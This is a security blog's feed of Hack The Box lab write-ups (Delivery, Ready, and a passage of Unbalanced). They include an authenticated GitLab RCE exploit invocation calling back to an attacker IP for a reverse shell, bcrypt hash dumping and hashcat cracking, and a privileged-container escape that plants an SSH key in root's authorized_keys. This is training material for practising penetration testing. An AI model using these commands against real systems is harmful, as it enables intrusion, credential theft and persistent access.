<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.9.0">Jekyll</generator><link href="https://snowscan.io/feed.xml" rel="self" type="application/atom+xml" /><link href="https://snowscan.io/" rel="alternate" type="text/html" /><updated>2021-05-25T20:35:41+00:00</updated><id>https://snowscan.io/feed.xml</id><title type="html">snowscan.io</title><subtitle>Posts about security, CTFs and networking</subtitle><author><name>Snowscan</name><email>info@snowscan.io</email></author><entry><title type="html">Delivery - Hack The Box</title><link href="https://snowscan.io/htb-writeup-delivery/" rel="alternate" type="text/html" title="Delivery - Hack The Box" /><published>2021-05-22T00:00:00+00:00</published><updated>2021-05-22T00:00:00+00:00</updated><id>https://snowscan.io/htb-writeup-delivery</id><content type="html" xml:base="https://snowscan.io/htb-writeup-delivery/">&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-delivery/delivery_logo.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Delivery is a quick and fun easy box where we have to create a MatterMost account and validate it by using automatic email accounts created by the OsTicket application. The admins on this platform have very poor security practices and put plaintext credentials in MatterMost. Once we get the initial shell with the creds from MatterMost we’ll poke around MySQL and get a root password bcrypt hash. Using a hint left in the MatterMost channel about the password being a variation of PleaseSubscribe!, we’ll use hashcat combined with rules to crack the password then get the root shell.&lt;/p&gt;

&lt;h2 id=&quot;portscan&quot;&gt;Portscan&lt;/h2&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Nmap scan report for 10.129.148.141
Host is up (0.018s latency).
Not shown: 65532 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 9c:40:fa:85:9b:01:ac:ac:0e:bc:0c:19:51:8a:ee:27 (RSA)
|   256 5a:0c:c0:3b:9b:76:55:2e:6e:c4:f4:b9:5d:76:17:09 (ECDSA)
|_  256 b7:9d:f7:48:9d:a2:f2:76:30:fd:42:d3:35:3a:80:8c (ED25519)
80/tcp   open  http    nginx 1.14.2
|_http-server-header: nginx/1.14.2
|_http-title: Welcome
8065/tcp open  unknown
| fingerprint-strings: 
|   GenericLines, Help, RTSPRequest, SSLSessionReq, TerminalServerCookie: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 200 OK
|     Accept-Ranges: bytes
|     Cache-Control: no-cache, max-age=31556926, public
|     Content-Length: 3108
|     Content-Security-Policy: frame-ancestors 'self'; script-src 'self' cdn.rudderlabs.com
|     Content-Type: text/html; charset=utf-8
|     Last-Modified: Sun, 09 May 2021 00:00:02 GMT
|     X-Frame-Options: SAMEORIGIN
|     X-Request-Id: fqrpd5m3ftgnzmxkbieezqadxo
|     X-Version-Id: 5.30.0.5.30.1.57fb31b889bf81d99d8af8176d4bbaaa.false
|     Date: Sun, 09 May 2021 00:01:31 GMT
|     &amp;lt;!doctype html&amp;gt;&amp;lt;html lang=&quot;en&quot;&amp;gt;&amp;lt;head&amp;gt;&amp;lt;meta charset=&quot;utf-8&quot;&amp;gt;&amp;lt;meta name=&quot;viewport&quot; content=&quot;width=device-width,initial-scale=1,maximum-scale=1,user-scalable=0&quot;&amp;gt;&amp;lt;meta name=&quot;robots&quot; content=&quot;noindex, nofollow&quot;&amp;gt;&amp;lt;meta name=&quot;referrer&quot; content=&quot;no-referrer&quot;&amp;gt;&amp;lt;title&amp;gt;Mattermost&amp;lt;/title&amp;gt;&amp;lt;meta name=&quot;mobile-web-app-capable&quot; content=&quot;yes&quot;&amp;gt;&amp;lt;meta name=&quot;application-name&quot; content=&quot;Mattermost&quot;&amp;gt;&amp;lt;meta name=&quot;format-detection&quot; content=&quot;telephone=no&quot;&amp;gt;&amp;lt;link re
|   HTTPOptions: 
|     HTTP/1.0 405 Method Not Allowed
|     Date: Sun, 09 May 2021 00:01:31 GMT
|_    Content-Length: 0
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;website&quot;&gt;Website&lt;/h2&gt;

&lt;p&gt;The Delivery website is pretty basic, there’s a link to a vhost called helpdesk.delivery.htb and a contact us section. We’ll add this entry to our local host before proceeding further.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-delivery/website1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The contact us section tells us we need an @delivery.htb email address and tells us port 8065 is a MatterMost server. MatterMost is a Slack-like collaboration platform that can be self-hosted.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-delivery/website2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Browsing to port 8065 we get the MatterMost login page but we don’t have credentials yet&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-delivery/mm1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;helpdesk&quot;&gt;Helpdesk&lt;/h2&gt;

&lt;p&gt;The Helpdesk page uses the OsTicket web application. It allows users to create and view the status of ticket.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-delivery/helpdesk3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;We can still open new tickets even if we only have a guest user.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-delivery/helpdesk1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;After a ticket has been created, the system generates a random @delivery.htb email account with the ticket ID.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-delivery/helpdesk2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Now that we have an email account we can create a MatterMost account.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-delivery/mm2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;A confirmation email is then sent to our ticket status inbox.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-delivery/mm3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;We use the check ticket function on the OsTicket application and submit the original email address we used when creating the ticket and the ticket ID.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-delivery/mm4.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;We’re now logged in and we see that the MatterMost confirmation email has been added to the ticket information.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-delivery/mm5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;To confirm the creation of our account we’ll just copy/paste the included link into a browser new tab.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-delivery/mm6.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;After logging in to MatterMost we have access to the Internal channel where we see that credentials have been posted. There’s also a hint that we’ll have to use a variation of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PleaseSubscribe!&lt;/code&gt; password later.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-delivery/mm7.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;user-shell&quot;&gt;User shell&lt;/h2&gt;

&lt;p&gt;With the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;maildeliverer / Youve_G0t_Mail!&lt;/code&gt; credentials we can SSH in and get the user flag.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-delivery/user.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;credentials-in-mysql-database&quot;&gt;Credentials in MySQL database&lt;/h2&gt;

&lt;p&gt;After doing some recon we find the MatterMost installation directory in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/opt/mattermost&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;maildeliverer@Delivery:/opt/mattermost/config$ ps waux | grep -i mattermost
matterm+   741  0.2  3.3 1649596 135112 ?      Ssl  20:00   0:07 /opt/mattermost/bin/mattermost
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;config.json&lt;/code&gt; file contains the password for the MySQL database:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;[...]
&quot;SqlSettings&quot;: {
        &quot;DriverName&quot;: &quot;mysql&quot;,
        &quot;DataSource&quot;: &quot;mmuser:Crack_The_MM_Admin_PW@tcp(127.0.0.1:3306)/mattermost?charset=utf8mb4,utf8\u0026readTimeout=30s\u0026writeTimeout=30s&quot;,
[...]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We’ll connect to the database server and poke around.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;maildeliverer@Delivery:/$ mysql -u mmuser --password='Crack_The_MM_Admin_PW'
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 91
Server version: 10.3.27-MariaDB-0+deb10u1 Debian 10

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]&amp;gt; show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mattermost         |
+--------------------+
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;MatterMost user accounts are stored in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Users&lt;/code&gt; table and hashed with bcrypt. We’ll save the hashes then try to crack them offline.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;MariaDB [(none)]&amp;gt; use mattermost;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MariaDB [mattermost]&amp;gt; select Username,Password from Users;
+----------------------------------+--------------------------------------------------------------+
| Username                         | Password                                                     |
+----------------------------------+--------------------------------------------------------------+
| surveybot                        |                                                              |
| c3ecacacc7b94f909d04dbfd308a9b93 | $2a$10$u5815SIBe2Fq1FZlv9S8I.VjU3zeSPBrIEg9wvpiLaS7ImuiItEiK |
| 5b785171bfb34762a933e127630c4860 | $2a$10$3m0quqyvCE8Z/R1gFcCOWO6tEj6FtqtBn8fRAXQXmaKmg.HDGpS/G |
| root                             | $2a$10$VM6EeymRxJ29r8Wjkr8Dtev0O.1STWb4.4ScG.anuu7v0EFJwgjjO |
| snowscan                         | $2a$10$spHk8ZGr54VWf4kNER/IReO.I63YH9d7WaYp9wjiRswDMR.P/Q9aa |
| ff0a21fc6fc2488195e16ea854c963ee | $2a$10$RnJsISTLc9W3iUcUggl1KOG9vqADED24CQcQ8zvUm1Ir9pxS.Pduq |
| channelexport                    |                                                              |
| 9ecfb4be145d47fda0724f697f35ffaf | $2a$10$s.cLPSjAVgawGOJwB7vrqenPg2lrDtOECRtjwWahOzHfq1CoFyFqm |
+----------------------------------+--------------------------------------------------------------+
8 rows in set (0.002 sec)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;cracking-with-rules&quot;&gt;Cracking with rules&lt;/h2&gt;

&lt;p&gt;There was a hint earlier that some variation of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PleaseSubscribe!&lt;/code&gt; is used.&lt;/p&gt;

&lt;p&gt;I’ll use hashcat for this and since I don’t know the hash ID for bcrypt by heart I can find it in the help.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;C:\bin\hashcat&amp;gt;hashcat --help | findstr bcrypt
   3200 | bcrypt $2*$, Blowfish (Unix)                     | Operating System
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;My go-to rules is normally one of those two ruleset:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/NSAKEY/nsa-rules/blob/master/_NSAKEY.v2.dive.rule&quot;&gt;https://github.com/NSAKEY/nsa-rules/blob/master/_NSAKEY.v2.dive.rule&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/NotSoSecure/password_cracking_rules/blob/master/OneRuleToRuleThemAll.rule&quot;&gt;https://github.com/NotSoSecure/password_cracking_rules/blob/master/OneRuleToRuleThemAll.rule&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;These will perform all sort of transformations on the wordlist and we can quickly crack the password: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PleaseSubscribe!21&lt;/code&gt;&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;C:\bin\hashcat&amp;gt;hashcat -a 0 -m 3200 -w 3 -O -r rules\_NSAKEY.v2.dive.rule hash.txt wordlist.txt
[...]
$2a$10$VM6EeymRxJ29r8Wjkr8Dtev0O.1STWb4.4ScG.anuu7v0EFJwgjjO:PleaseSubscribe!21

Session..........: hashcat
Status...........: Cracked
Hash.Name........: bcrypt $2*$, Blowfish (Unix)
[...]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The root password from MatterMost is the same as the local root password so we can just su to root and get the system flag.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-delivery/root.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;</content><author><name>Snowscan</name><email>info@snowscan.io</email></author><category term="hackthebox" /><category term="infosec" /><category term="osticket" /><category term="mysql" /><category term="mattermost" /><category term="hashcat" /><category term="rules" /><summary type="html">Delivery is a quick and fun easy box where we have to create a MatterMost account and validate it by using automatic email accounts created by the OsTicket application. The admins on this platform have very poor security practices and put plaintext credentials in MatterMost. Once we get the initial shell with the creds from MatterMost we'll poke around MySQL and get a root password bcrypt hash. Using a hint left in the MatterMost channel about the password being a variation of PleaseSubscribe!, we'll use hashcat combined with rules to crack the password then get the root shell.</summary></entry><entry><title type="html">Ready - Hack The Box</title><link href="https://snowscan.io/htb-writeup-ready/" rel="alternate" type="text/html" title="Ready - Hack The Box" /><published>2021-05-15T00:00:00+00:00</published><updated>2021-05-15T00:00:00+00:00</updated><id>https://snowscan.io/htb-writeup-ready</id><content type="html" xml:base="https://snowscan.io/htb-writeup-ready/">&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-ready/ready_logo.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Ready was a pretty straighforward box to get an initial shell on: We identify that’s it running a vulnerable instance of Gitlab and we use an exploit against version 11.4.7 to land a shell. Once inside, we quickly figure out we’re in a container and by looking at the docker compose file we can see the container is running in privileged mode. We then mount the host filesystem within the container then we can access the flag or add our SSH keys to the host root user home directory.&lt;/p&gt;

&lt;h2 id=&quot;portscan&quot;&gt;Portscan&lt;/h2&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;sudo nmap -T4 -sC -sV -oA scan -p- 10.129.149.31
Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-09 22:41 EDT
Nmap scan report for 10.129.149.31
Host is up (0.015s latency).
Not shown: 65533 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
5080/tcp open  http    nginx
| http-robots.txt: 53 disallowed entries (15 shown)
| / /autocomplete/users /search /api /admin /profile 
| /dashboard /projects/new /groups/new /groups/*/edit /users /help 
|_/s/ /snippets/new /snippets/*/edit
| http-title: Sign in \xC2\xB7 GitLab
|_Requested resource was http://10.129.149.31:5080/users/sign_in
|_http-trane-info: Problem with XML parsing of /evox/about
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;gitlab&quot;&gt;Gitlab&lt;/h2&gt;

&lt;p&gt;The webserver on port 5080 runs a Gitlab instance.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-ready/gitlab1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;We have access to create a new account.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-ready/gitlab2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Once logged in, we see in the projects list there’s a single projet called &lt;em&gt;ready-channel&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-ready/gitlab3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;To check the Gitlab version we go to the Help section and we can see it’s running 11.4.7.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-ready/gitlab5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;A quick search on Exploit-DB shows there’s an authenticated remote code execution vulnerability for this exact version.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-ready/gitlab6.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;python3 exploit.py -g http://10.129.149.31 -u snowscan2 -p yolo1234 -l 10.10.14.4 -P 4444&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Reverse shell connection:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-ready/shell.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-ready/user.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;privesc&quot;&gt;Privesc&lt;/h2&gt;

&lt;p&gt;By running &lt;a href=&quot;https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite&quot;&gt;linpeas.sh&lt;/a&gt; we find a backup file with some SMTP credentials for the gitlab application.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Found /opt/backup/gitlab.rb
gitlab_rails['smtp_password'] = &quot;wW59U!ZKMbG9+*#h&quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;That password is the same password as the root password for the container so we can privesc locally inside the container.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;git@gitlab:/opt/backup$ su -l root
su -l root
Password: wW59U!ZKMbG9+*#h

root@gitlab:~# 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;There’s a root_pass file in the root of the filesystem but that’s not useful.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;cat /root_pass
YG65407Bjqvv9A0a8Tm_7w
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;If we look at the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/opt/backup/docker-compose.yml&lt;/code&gt; configuration file, we can see it’s a hint that we’re running in a privileged container:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;    volumes:
      - './srv/gitlab/config:/etc/gitlab'
      - './srv/gitlab/logs:/var/log/gitlab'
      - './srv/gitlab/data:/var/opt/gitlab'
      - './root_pass:/root_pass'
    privileged: true
    restart: unless-stopped
    #mem_limit: 1024m
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Privileged containers can access the host’s disk devices so we can just read the root flag after mounting the drive.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-ready/root.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;To get a proper shell in the host OS we can drop our SSH keys in the root’s .ssh directory.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@gitlab:~# mount /dev/sda2 /mnt
mount /dev/sda2 /mnt
root@gitlab:~# echo 'ssh-rsa AAAAB3NzaC1y[...]+HUBS+l32faXPc= snowscan@kali' &amp;gt; /mnt/root/.ssh/authorized_keys

[...]

$ ssh root@10.129.150.37
The authenticity of host '10.129.150.37 (10.129.150.37)' can't be established.
ECDSA key fingerprint is SHA256:7+5qUqmyILv7QKrQXPArj5uYqJwwe7mpUbzD/7cl44E.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.150.37' (ECDSA) to the list of known hosts.
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-40-generic x86_64)

[...]

The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Thu Feb 11 14:28:18 2021
root@ready:~# cat root.txt
b7f98681505cd39066f67147b103c2b3
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;</content><author><name>Snowscan</name><email>info@snowscan.io</email></author><category term="hackthebox" /><category term="infosec" /><category term="linux" /><category term="gitlab" /><category term="cve" /><category term="docker" /><category term="privileged container" /><summary type="html">Ready was a pretty straighforward box to get an initial shell on: We identify that's it running a vulnerable instance of Gitlab and we use an exploit against version 11.4.7 to land a shell. Once inside, we quickly figure out we're in a container and by looking at the docker compose file we can see the container is running in privileged mode. We then mount the host filesystem within the container then we can access the flag or add our SSH keys to the host root user home directory.</summary></entry><entry><title type="html">Unbalanced - Hack The Box</title><link href="https://snowscan.io/htb-writeup-unbalanced/" rel="alternate" type="text/html" title="Unbalanced - Hack The Box" /><published>2020-12-05T00:00:00+00:00</published><updated>2020-12-05T00:00:00+00:00</updated><id>https://snowscan.io/htb-writeup-unbalanced</id><content type="html" xml:base="https://snowscan.io/htb-writeup-unbalanced/">&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-unbalanced/unbalanced_logo.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;To solve Unbalanced, we’ll find configuration backups files in EncFS and after cracking the password and figuring out how EncFS works, we get the Squid proxy cache manager password that let us discover internal hosts. Proxying through Squid, we then land on a login page that uses Xpath to query an XML backend database. We perform Xpath injection to retrieve the password of each user, then port forward through the SSH shell to reach a Pi-Hole instance, vulnerable to a command injection vulnerability.&lt;/p&gt;

&lt;h2 id=&quot;portscan&quot;&gt;Portscan&lt;/h2&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-unbalanced/image-20200801192958121.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;rsync--encfs&quot;&gt;Rsync &amp;amp; EncFS&lt;/h2&gt;

&lt;p&gt;We can list the available modules on the rsync server by specifying the rsync URL and leaving off the module name. The output shows there is an available module called &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;conf_backups&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-unbalanced/image-20200801192743922.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;After downloading the remote files we end up with a bunch of files with weird random names.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-unbalanced/image-20200801193241170.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;There’s also a file &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.encfs6.xml&lt;/code&gt; that contains the configuration for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EncFS 1.9.5&lt;/code&gt;. The encoded key data and salt for the file encryption is contained in the XML file below:&lt;/p&gt;

&lt;div class=&quot;language-xml highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt;&lt;/span&gt;
&lt;span class=&quot;cp&quot;&gt;&amp;lt;!DOCTYPE boost_serialization&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;boost_serialization&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;signature=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;serialization::archive&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;version=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;7&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;cfg&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;class_id=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;0&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;tracking_level=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;0&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;version=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;20&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
        &lt;span class=&quot;nt&quot;&gt;&amp;lt;version&amp;gt;&lt;/span&gt;20100713&lt;span class=&quot;nt&quot;&gt;&amp;lt;/version&amp;gt;&lt;/span&gt;
        &lt;span class=&quot;nt&quot;&gt;&amp;lt;creator&amp;gt;&lt;/span&gt;EncFS 1.9.5&lt;span class=&quot;nt&quot;&gt;&amp;lt;/creator&amp;gt;&lt;/span&gt;
        &lt;span class=&quot;nt&quot;&gt;&amp;lt;cipherAlg&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;class_id=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;1&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;tracking_level=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;0&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;version=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;0&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
            &lt;span class=&quot;nt&quot;&gt;&amp;lt;name&amp;gt;&lt;/span&gt;ssl/aes&lt;span class=&quot;nt&quot;&gt;&amp;lt;/name&amp;gt;&lt;/span&gt;
            &lt;span class=&quot;nt&quot;&gt;&amp;lt;major&amp;gt;&lt;/span&gt;3&lt;span class=&quot;nt&quot;&gt;&amp;lt;/major&amp;gt;&lt;/span&gt;
            &lt;span class=&quot;nt&quot;&gt;&amp;lt;minor&amp;gt;&lt;/span&gt;0&lt;span class=&quot;nt&quot;&gt;&amp;lt;/minor&amp;gt;&lt;/span&gt;
        &lt;span class=&quot;nt&quot;&gt;&amp;lt;/cipherAlg&amp;gt;&lt;/span&gt;
        &lt;span class=&quot;nt&quot;&gt;&amp;lt;nameAlg&amp;gt;&lt;/span&gt;
            &lt;span class=&quot;nt&quot;&gt;&amp;lt;name&amp;gt;&lt;/span&gt;nameio/block&lt;span class=&quot;nt&quot;&gt;&amp;lt;/name&amp;gt;&lt;/span&gt;
            &lt;span class=&quot;nt&quot;&gt;&amp;lt;major&amp;gt;&lt;/span&gt;4&lt;span class=&quot;nt&quot;&gt;&amp;lt;/major&amp;gt;&lt;/span&gt;
            &lt;span class=&quot;nt&quot;&gt;&amp;lt;minor&amp;gt;&lt;/span&gt;0&lt;span class=&quot;nt&quot;&gt;&amp;lt;/minor&amp;gt;&lt;/span&gt;
        &lt;span class=&quot;nt&quot;&gt;&amp;lt;/nameAlg&amp;gt;&lt;/span&gt;
